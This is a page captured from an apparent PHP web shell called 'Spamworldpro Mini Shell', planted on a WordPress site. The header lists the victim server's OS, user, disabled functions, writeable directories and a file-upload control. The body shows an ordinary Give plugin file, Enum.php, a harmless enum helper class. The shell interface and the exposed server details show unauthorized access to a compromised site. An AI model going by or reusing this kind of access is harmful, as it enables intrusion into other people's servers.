Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mets.corals.io/wp-content/plugins/give/src/Framework/Support/ValueObjects/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mets.corals.io/wp-content/plugins/give/src/Framework/Support/ValueObjects/Enum.php
<?php

namespace Give\Framework\Support\ValueObjects;

use BadMethodCallException;
use Give\Framework\Support\Facades\Str;

/**
 * @method public getKeyAsCamelCase()
 */
abstract class Enum extends \MyCLabs\Enum\Enum
{
    /**
     * @since 2.20.0
     *
     * Adds support for is{Value} methods. So if an Enum has an ACTIVE value, then an isActive() instance method is
     * automatically available.
     *
     * @param $name
     * @param $arguments
     *
     * @return bool
     */
    public function __call($name, $arguments)
    {
        if (strpos($name, 'is') === 0) {
            $constant = Str::upper(Str::snake(Str::after($name, 'is')));

            if ( ! self::hasConstant($constant)) {
                throw new BadMethodCallException("$name does not match a corresponding enum constant.");
            }

            return $this->equals(parent::$constant());
        }

        throw new BadMethodCallException("Method $name does not exist on enum");
    }

    /**
     * @param ...$enums
     *
     * @return bool
     */
    public function isOneOf(...$enums) {
        foreach($enums as $enum) {
            if ( $this->equals($enum) ) {
                return true;
            }
        }

        return false;
    }

    /**
     * @return string
     */
    public function getKeyAsCamelCase()
    {
        return Str::camel($this->getKey());
    }

    /**
     * @param string $name
     *
     * @return bool
     */
    protected static function hasConstant($name)
    {
        return array_key_exists($name, static::toArray());
    }
}

Spamworldpro Mini